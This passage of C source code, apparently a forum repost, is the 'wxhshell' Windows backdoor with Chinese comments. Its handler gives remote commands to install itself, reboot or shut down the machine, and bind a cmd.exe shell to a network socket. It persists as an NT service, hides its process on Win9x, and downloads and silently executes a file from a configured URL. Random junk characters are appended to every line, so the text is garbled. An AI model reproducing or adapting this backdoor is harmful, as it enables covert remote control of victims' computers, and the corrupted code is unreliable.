  else {  h *%T2  
7U.g4x|<  
    switch(cmd[0]) {  N%r}0  
  7=QV^G  
  // 帮助 D4'XBXmb  
  case '?': { f!LZT!y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); crgYr$@s?  
    break; [b#jw,7  
  } p6Z]oL q  
  // 安装 i $I|JJJ  
  case 'i': { :-"J)^V  
    if(Install()) {]D!@87  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x ;Gyo  
    else k}lx!Ck  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z7.)[ ;  
    break; R@VO3zsW  
    } 8!UZ..  
  // 卸载 z%Z}vWn  
  case 'r': { &g& &-=7)  
    if(Uninstall()) =l7LEkR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sM5 w~R>Y  
    else ['R=@.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hLm9"N'Pf  
    break; B.P64"w  
    } "BFW&<1  
  // 显示 wxhshell 所在路径 '|XP}V0I  
  case 'p': { e/Q[%y.X  
    char svExeFile[MAX_PATH]; 5\4>H6  
    strcpy(svExeFile,"\n\r"); o~4n8  
      strcat(svExeFile,ExeFile); !zJ.rYZ=g`  
        send(wsh,svExeFile,strlen(svExeFile),0); ~:t2@z4p  
    break; p\-.DRwT`  
    } oC7#6W:@w  
  // 重启 _ZS<zQ'  
  case 'b': { t9`NCng 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *(>$4$9n  
    if(Boot(REBOOT)) 8OFrW.>[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _r8AO>  
    else { \clWrK  
    closesocket(wsh); (QRl -| +  
    ExitThread(0); #[[p/nAy}A  
    } NXmj<azED  
    break; teB {GR  
    } _b5iR<f  
  // 关机 bZG$ biq  
  case 'd': { u-K 5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hPk+vvXtK  
    if(Boot(SHUTDOWN)) wcL0#[)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {VNeh  
    else { D$mrnm4d  
    closesocket(wsh); l:|Fs=\  
    ExitThread(0); H~~(v52wD  
    } yv:NH|,/y  
    break; @<6-uk3S  
    } X_YD[  
  // 获取shell V3+%KkN  
  case 's': { hqds T  
    CmdShell(wsh); ^CE:?>a$  
    closesocket(wsh); *ap#*}r!Nk  
    ExitThread(0); [`b{eLCFX]  
    break; nWl0R=  
  } $U0(%lIU  
  // 退出 MnS"M[y3  
  case 'x': { (,TO|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f7W=x6Z4  
    CloseIt(wsh); C`#N Q*O  
    break; .^NV e40O  
    } (\I =v".  
  // 离开 }I10hy~W  
  case 'q': { qB:`tHy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hb$q}1+y  
    closesocket(wsh); mzw*6e2T  
    WSACleanup(); h/k`+  
    exit(1); nSC>x:jY5/  
    break; X@G`AD'.M  
        } Sh*P^i.]+  
  } ^\6UTnS.  
  } TSk6Q'L\v  
Uy_= #&jg  
  // 提示信息 P>kx{^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tc*PDt0C  
} <f*0 XJ#  
  } qXF"1f_+  
:ox CF0Y  
  return; lt4UNJ3w  
} BxqCV%9o  
xV6j6k  
// shell模块句柄 hf-S6PEsM  
int CmdShell(SOCKET sock) ,]Ma ,2  
{ dkLR Q   
STARTUPINFO si; [K KoEZ  
ZeroMemory(&si,sizeof(si)); `Qhh{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$2Y)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6GN'rVr!Z  
PROCESS_INFORMATION ProcessInfo; ;uDFd04w [  
char cmdline[]="cmd"; '8JaD6W9S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =3:ltI.'*I  
  return 0; ~;W%s  
} W{h7+X]Y  
RW)C<g  
// 自身启动模式 k$>T(smh  
int StartFromService(void) !v`=EF.  
{ cjW]Nw  
typedef struct [Wh 43Z  
{ 8HOmWQS  
  DWORD ExitStatus; a~|ge9? (  
  DWORD PebBaseAddress; E$wB bm  
  DWORD AffinityMask; h CiblM  
  DWORD BasePriority; \2`U$3Q  
  ULONG UniqueProcessId; u& Fm}/x  
  ULONG InheritedFromUniqueProcessId; (`p(c;"*C!  
}   PROCESS_BASIC_INFORMATION; /$=^0v +  
zyr6Tv61U  
PROCNTQSIP NtQueryInformationProcess; ZZ(@:F  
24Fxx9 g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *8p</Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GM/1u fZH  
iiTUhO )  
  HANDLE             hProcess; e'Pa@]VaC  
  PROCESS_BASIC_INFORMATION pbi; ;'p'8lts  
h]#)41y<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5ZVTI,4K  
  if(NULL == hInst ) return 0; k.ZfjX"  
-{h[W bf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C0%%@ 2+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )3AT=b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i@* ^]'  
9& j]  
  if (!NtQueryInformationProcess) return 0; \abl|;fj  
S(6ZX>wv:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "ir*;|  
  if(!hProcess) return 0; EHZSM5hu  
"Tv7*3>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~-+Zu<  
-eMRxa>  
  CloseHandle(hProcess); qAS^5|(b[  
Nt8(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "x)DE,  
if(hProcess==NULL) return 0; [XXN0+ /  
W<Lrfo&=Y]  
HMODULE hMod; g$b*#  
char procName[255]; .IXwa,  
unsigned long cbNeeded; y#+o*(=fRE  
?la_ +;m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <B`V  
4lA+V,#  
  CloseHandle(hProcess); K^H t$04  
z"3c+?2  
if(strstr(procName,"services")) return 1; // 以服务启动 (zBQ^97]  
Z3dd9m#.]  
  return 0; // 注册表启动 B/OO$=>(  
} V1.F`3h~  
)a\h5nQI)  
// 主模块 +b+sQ<w?.  
int StartWxhshell(LPSTR lpCmdLine)  D;]%  
{ 7&4,',0VL  
  SOCKET wsl; L|LTsRIq  
BOOL val=TRUE; arZIe+KW  
  int port=0; <Xx\F56zp  
  struct sockaddr_in door; I8?[@kg5b'  
@nu/0+8h{  
  if(wscfg.ws_autoins) Install(); TXcKuo=  
l'QR2r7&.  
port=atoi(lpCmdLine); TeJ `sJ  
 iC]lO  
if(port<=0) port=wscfg.ws_port; w>u Z$/  
>{a,]q*  
  WSADATA data; p( *3U[1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jhv1 D' >6  
cqx1NWlY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }=a4uCE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Ny8u")=  
  door.sin_family = AF_INET; 1 1CJT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s?k[_|)!  
  door.sin_port = htons(port); " 44?n <1  
&J$5+"/;X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wi^rnr'S s  
closesocket(wsl); I?>T"nV +'  
return 1; )\vHIXnfJ1  
} {R;M`EU>  
yU,xcq~l  
  if(listen(wsl,2) == INVALID_SOCKET) { p'~5[JR:  
closesocket(wsl); 31& .Lnq  
return 1; u9w&q^0dqG  
}  c^s>  
  Wxhshell(wsl); ,rQ)TT  
  WSACleanup(); x-&v|w'  
 2p>SB/  
return 0; Y)}%SP>,  
+o]BjgG  
} Aw;vg/#~md  
'V#ew\  
// 以NT服务方式启动 N?0y<S ?!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C+XZDY(=Z  
{ 4rG 7\  
DWORD   status = 0; 1m;*fs  
  DWORD   specificError = 0xfffffff; ,hLSRj{  
V(LFH9.Mp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e oSM@Isu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |SKG4_wGe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z\>X[yNpA  
  serviceStatus.dwWin32ExitCode     = 0; J"/z?!)IB  
  serviceStatus.dwServiceSpecificExitCode = 0; PMs_K"-K  
  serviceStatus.dwCheckPoint       = 0; j#t8Krd] "  
  serviceStatus.dwWaitHint       = 0; +wozjjc  
x }'4^Cv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :xS&Y\ry  
  if (hServiceStatusHandle==0) return; siYRRr  
Y>Hl0$:=  
status = GetLastError(); AUsQj\Nm%  
  if (status!=NO_ERROR) K#hYbDm  
{ qO{ ZZ*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2, V+?'^j  
    serviceStatus.dwCheckPoint       = 0; PMhhPw]  
    serviceStatus.dwWaitHint       = 0; 1Dp @n  
    serviceStatus.dwWin32ExitCode     = status; P 4*MV  
    serviceStatus.dwServiceSpecificExitCode = specificError; wI@I(r~ g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]^jdO##M  
    return; u# WTh%/  
  } 917 0bmr  
S?\hbM]V-o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y{vwOs  
  serviceStatus.dwCheckPoint       = 0; QM_X2Ho  
  serviceStatus.dwWaitHint       = 0; r/hyW6e_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P3tG#cJ  
} U!?gdX  
fGf-fh;s  
// 处理NT服务事件,比如:启动、停止 D%UZ'bHN*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q|i%)V`)-  
{ $?J+dB  
switch(fdwControl) igB rmaY'  
{ o 7W Kh=  
case SERVICE_CONTROL_STOP: 4:&qT Y)H  
  serviceStatus.dwWin32ExitCode = 0; in #]3QGV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m+2`"1IE[  
  serviceStatus.dwCheckPoint   = 0; 4bev* [k  
  serviceStatus.dwWaitHint     = 0; $KWYe{#  
  { kgapTv>q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z<%g #bo  
  } PuZs 5J3  
  return; :q64K?X  
case SERVICE_CONTROL_PAUSE: rp @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RF~Ofi  
  break; ^qGA!_  
case SERVICE_CONTROL_CONTINUE: X";Z Up  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E<Dh_K  
  break; 6QLQ1k`  
case SERVICE_CONTROL_INTERROGATE: _gm?FxV:  
  break; n<<=sj$\!  
}; )w2K&Zr0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4v0O="  
} gZlw  
\D U^idp#  
// 标准应用程序主函数 xDGS`U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) guOSO@  
{ Kka8cG  
,{{#a*nd  
// 获取操作系统版本 QhX C>)PW  
OsIsNt=GetOsVer(); H8$<HhuZM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S1^nC tSF  
/ggkb8<3  
  // 从命令行安装 Bug}^t{M  
  if(strpbrk(lpCmdLine,"iI")) Install(); YYE8/\+B.  
l^ 0_> R  
  // 下载执行文件 $HBT%g@UN  
if(wscfg.ws_downexe) { juMxl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tpa^k  
  WinExec(wscfg.ws_filenam,SW_HIDE); hB7pR"P  
} ^0~c 7`k`V  
!/6\m!e|1R  
if(!OsIsNt) { TD{=L*{+  
// 如果时win9x,隐藏进程并且设置为注册表启动 2:iYYRrg  
HideProc(); |ck ZyDA  
StartWxhshell(lpCmdLine); & &" 'dL  
} Lo9G4Cu  
else z^rhgs?4  
  if(StartFromService()) h;%i/feFg  
  // 以服务方式启动 slge+xq\J  
  StartServiceCtrlDispatcher(DispatchTable); %l:|2s:  
else M U?{?5  
  // 普通方式启动 xaWGa1V'z  
  StartWxhshell(lpCmdLine); h41$|lonU%  
Z>x7|Q3CX  
return 0; m0|Ae@g~3  
}
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只看该作者 1 发表于: 2006-10-10
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